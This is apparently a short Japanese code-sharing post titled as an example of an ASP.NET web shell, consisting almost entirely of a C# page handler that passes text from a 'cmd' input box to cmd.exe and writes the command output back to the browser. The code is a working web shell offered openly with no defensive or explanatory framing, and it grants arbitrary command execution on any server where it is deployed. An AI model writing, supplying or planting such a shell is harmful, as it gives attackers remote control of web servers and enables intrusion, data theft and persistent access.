一つのASP.NetでのWebShellの例
1380 ワード
コードは次のとおりです.
<br>protected void exec(object sender, EventArgs e)
<br>{
<br> string item = cmd.Text;
<br> Process p = new Process();
<br> p.StartInfo.FileName = "cmd.exe";
<br> p.StartInfo.UseShellExecute = false;
<br> p.StartInfo.RedirectStandardInput = true;
<br> p.StartInfo.RedirectStandardOutput = true;
<br> p.StartInfo.RedirectStandardError = true;
<br> p.StartInfo.CreateNoWindow = true;
<br> string strOutput = null;
<br> p.Start();
<br> p.StandardInput.WriteLine(item);
<br> p.StandardInput.WriteLine("exit");
<br> strOutput = p.StandardOutput.ReadToEnd();
<br> p.WaitForExit();
<br> p.Close();
<br> Response.Write("<pre>");
<br> Response.Write(strOutput);
<br> Response.Write("</pre>");
<br>}
<br> protected void Page_Load(object sender, EventArgs e)
<br> {
<br> }
<br>